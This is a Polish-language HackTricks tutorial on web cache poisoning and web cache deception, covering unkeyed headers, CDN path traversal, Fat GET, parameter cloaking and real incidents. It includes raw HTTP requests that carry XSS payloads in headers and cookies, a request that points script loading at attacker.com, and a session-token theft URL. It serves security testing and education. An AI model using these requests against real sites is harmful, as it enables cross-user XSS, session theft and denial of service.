Zatrucie pamięci podręcznej i oszustwo pamięci podręcznej

Reading time: 13 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Różnica

Jaka jest różnica między zatruciem pamięci podręcznej a oszustwem pamięci podręcznej?

  • W zatruciu pamięci podręcznej atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, która jest następnie serwowana innym użytkownikom aplikacji.
  • W oszustwie pamięci podręcznej atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.

Zatrucie pamięci podręcznej

Zatrucie pamięci podręcznej ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej.

Wykonanie ataku zatrucia pamięci podręcznej obejmuje kilka kroków:

  1. Identyfikacja niekluczowych wejść: Są to parametry, które, chociaż nie są wymagane do zbuforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną.
  2. Wykorzystanie niekluczowych wejść: Po zidentyfikowaniu niekluczowych wejść, kolejnym krokiem jest ustalenie, jak niewłaściwie wykorzystać te parametry, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
  3. Zapewnienie, że skażona odpowiedź jest zbuforowana: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zanieczyszczenia pamięci podręcznej otrzyma skażoną odpowiedź.

Odkrycie: Sprawdź nagłówki HTTP

Zazwyczaj, gdy odpowiedź została przechowywana w pamięci podręcznej, będzie nagłówek to wskazujący, możesz sprawdzić, które nagłówki powinieneś obserwować w tym poście: Nagłówki pamięci podręcznej HTTP.

Odkrycie: Kody błędów pamięci podręcznej

Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować wysłać żądania z błędnym nagłówkiem, na które powinno być odpowiedziane kodem statusu 400. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli odpowiedź to kod statusu 400, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS).

Możesz znaleźć więcej opcji w:

Cache Poisoning to DoS

Jednak zauważ, że czasami te rodzaje kodów statusu nie są buforowane, więc ten test może nie być wiarygodny.

Odkrycie: Identyfikacja i ocena niekluczowych wejść

Możesz użyć Param Miner, aby bruteforce'ować parametry i nagłówki, które mogą zmieniać odpowiedź strony. Na przykład, strona może używać nagłówka X-Forwarded-For, aby wskazać klientowi załadowanie skryptu stamtąd:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Wydobycie szkodliwej odpowiedzi z serwera zaplecza

Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest on sanitizowany i gdzie jest odzwierciedlany lub wpływa na odpowiedź z nagłówka. Czy możesz to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez siebie kod JS? wykonać DoS?...)

Uzyskaj odpowiedź w pamięci podręcznej

Gdy już zidentyfikujesz stronę, którą można wykorzystać, który parametr/nagłówek użyć i jak go wykorzystać, musisz uzyskać stronę w pamięci podręcznej. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund.

Nagłówek X-Cache w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość miss, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość hit, gdy jest w pamięci podręcznej.
Nagłówek Cache-Control jest również interesujący, aby wiedzieć, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: Cache-Control: public, max-age=1800

Innym interesującym nagłówkiem jest Vary. Ten nagłówek jest często używany do wskazywania dodatkowych nagłówków, które są traktowane jako część klucza pamięci podręcznej, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna User-Agent ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników korzystających z tego konkretnego User-Agent.

Jeszcze jednym nagłówkiem związanym z pamięcią podręczną jest Age. Określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.

Podczas buforowania żądania, bądź ostrożny z nagłówkami, których używasz, ponieważ niektóre z nich mogą być używane w sposób nieoczekiwany jako kluczowane, a ofiara będzie musiała użyć tego samego nagłówka. Zawsze testuj zanieczyszczenie pamięci podręcznej przy użyciu różnych przeglądarek, aby sprawdzić, czy działa.

Przykłady wykorzystania

Najprostszy przykład

Nagłówek taki jak X-Forwarded-For jest odzwierciedlany w odpowiedzi bez sanitizacji.
Możesz wysłać podstawowy ładunek XSS i zanieczyścić pamięć podręczną, aby każdy, kto uzyska dostęp do strony, został zaatakowany XSS:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

W tym opisie wyjaśniono następujący prosty scenariusz:

  • CDN będzie cache'ować wszystko pod /share/
  • CDN NIE zdekoduje ani nie znormalizuje %2F..%2F, dlatego może być użyty jako path traversal do uzyskania dostępu do innych wrażliwych lokalizacji, które będą cache'owane, jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Serwer WWW ZDEKODUJE i znormalizuje %2F..%2F, i odpowie /api/auth/session, który zawiera token autoryzacji.

Ciasteczka mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać, aby spowodować XSS na przykład, możesz być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, regularne żądania będą czyścić pamięć podręczną.

Generowanie rozbieżności z użyciem ograniczników, normalizacji i kropek

Sprawdź:

Cache Poisoning via URL discrepancies

Zatrucie pamięci podręcznej z wykorzystaniem przejścia ścieżki w celu kradzieży klucza API

Ten artykuł wyjaśnia jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a takiego jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, ponieważ wszystko, co pasuje do /share/*, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego.

Jest to również lepiej wyjaśnione w:

Cache Poisoning via URL discrepancies

Wykorzystanie wielu nagłówków do eksploatacji podatności na zatrucie pamięci podręcznej

Czasami będziesz musiał wykorzystać kilka niekluczowanych wejść, aby móc nadużyć pamięci podręcznej. Na przykład, możesz znaleźć otwarty przekierowanie, jeśli ustawisz X-Forwarded-Host na domenę kontrolowaną przez Ciebie i X-Forwarded-Scheme na http. Jeśli serwer przekazuje wszystkie żądania HTTP do HTTPS i używa nagłówka X-Forwarded-Scheme jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie strona jest skierowana przez przekierowanie.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Wykorzystywanie z ograniczonym nagłówkiem Vary

Jeśli odkryłeś, że nagłówek X-Host jest używany jako nazwa domeny do ładowania zasobu JS, ale nagłówek Vary w odpowiedzi wskazuje na User-Agent. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Wyślij żądanie GET z żądaniem w URL i w ciele. Jeśli serwer WWW używa tego z ciała, ale serwer cache'ujący przechowuje to z URL, każdy, kto uzyskuje dostęp do tego URL, faktycznie użyje parametru z ciała. Jak w przypadku luki, którą znalazł James Kettle na stronie Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Ukrywanie parametrów

Na przykład, możliwe jest oddzielenie parametrów w serwerach ruby za pomocą znaku ; zamiast &. Może to być użyte do umieszczania wartości parametrów bez kluczy wewnątrz tych z kluczami i ich nadużywania.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Wykorzystywanie zatrucia pamięci podręcznej HTTP poprzez nadużywanie HTTP Request Smuggling

Dowiedz się tutaj, jak przeprowadzać ataki na zatrucie pamięci podręcznej, nadużywając HTTP Request Smuggling.

Automatyczne testowanie dla zatrucia pamięci podręcznej

Web Cache Vulnerability Scanner może być używany do automatycznego testowania pod kątem zatrucia pamięci podręcznej. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.

Przykład użycia: wcvs -u example.com

Przykłady podatności

Apache Traffic Server (CVE-2021-27577)

ATS przesłał fragment w URL bez jego usuwania i wygenerował klucz pamięci podręcznej, używając tylko hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie /#/../?r=javascript:alert(1) zostało wysłane do backendu jako /#/../?r=javascript:alert(1) i klucz pamięci podręcznej nie zawierał ładunku, tylko host, ścieżkę i zapytanie.

GitHub CP-DoS

Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpowiedzi 405 w pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było zaatakowanie tylko użytkowników nieautoryzowanych.

GitLab + GCP CP-DoS

GitLab używa koszy GCP do przechowywania treści statycznych. GCP Buckets obsługują nagłówek x-http-method-override. Możliwe było więc wysłanie nagłówka x-http-method-override: HEAD i zatrucie pamięci podręcznej, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę PURGE.

Rack Middleware (Ruby on Rails)

W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka x-forwarded-scheme i ustawienie go jako schematu żądania. Gdy nagłówek x-forwarded-scheme: http jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo, aplikacja może uznawać nagłówek X-forwarded-host i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.

403 i Kosze przechowywania

Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.

Wstrzykiwanie parametrów z kluczami

Pamięci podręczne często zawierają konkretne parametry GET w kluczu pamięci podręcznej. Na przykład, Varnish Fastly buforował parametr size w żądaniach. Jednak jeśli wysłano również wersję zakodowaną URL parametru (np. siz%65) z błędną wartością, klucz pamięci podręcznej byłby skonstruowany przy użyciu poprawnego parametru size. Niemniej jednak backend przetwarzałby wartość w zakodowanym URL parametrze. Zakodowanie URL drugiego parametru size prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowanym błędem 400 Bad Request.

Zasady User Agent

Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak zatrucie pamięci podręcznej i DoS.

Nieprawidłowe pola nagłówków

RFC7230 określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu tchar powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek cache-control nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak \, skutkowało buforowanym błędem 400 Bad Request.

Znajdowanie nowych nagłówków

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Oszustwo pamięci podręcznej

Celem Oszustwa pamięci podręcznej jest sprawienie, aby klienci ładowali zasoby, które mają być zapisane przez pamięć podręczną z ich wrażliwymi informacjami.

Przede wszystkim należy zauważyć, że rozszerzenia takie jak .css, .js, .png itp. są zazwyczaj konfigurowane do zapisywania w pamięci podręcznej. Dlatego, jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, pamięć podręczna prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie .js. Ale, jeśli aplikacja odpowiada wrażliwymi treściami użytkownika przechowywanymi w www.example.com/profile.php, możesz ukraść te treści od innych użytkowników.

Inne rzeczy do przetestowania:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Użyj mniej znanych rozszerzeń, takich jak .avif

Inny bardzo jasny przykład można znaleźć w tym opisie: https://hackerone.com/reports/593712.
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak http://www.example.com/home.php/non-existent.css, treść http://www.example.com/home.php (z wrażliwymi informacjami użytkownika) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.
Następnie atakujący może uzyskać dostęp do http://www.example.com/home.php/non-existent.css w swojej przeglądarce i obserwować poufne informacje użytkowników, którzy uzyskali dostęp wcześniej.

Zauważ, że proxy pamięci podręcznej powinno być skonfigurowane do buforowania plików na podstawie rozszerzenia pliku (.css) a nie na podstawie typu zawartości. W przykładzie http://www.example.com/home.php/non-existent.css będzie miał typ zawartości text/html zamiast text/css (co jest oczekiwane dla pliku .css).

Dowiedz się tutaj, jak przeprowadzać ataki Oszustwa pamięci podręcznej, nadużywając HTTP Request Smuggling.

Narzędzia automatyczne

  • toxicache: skaner Golang do znajdowania luk w pamięci podręcznej w liście URL i testowania wielu technik wstrzykiwania.

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks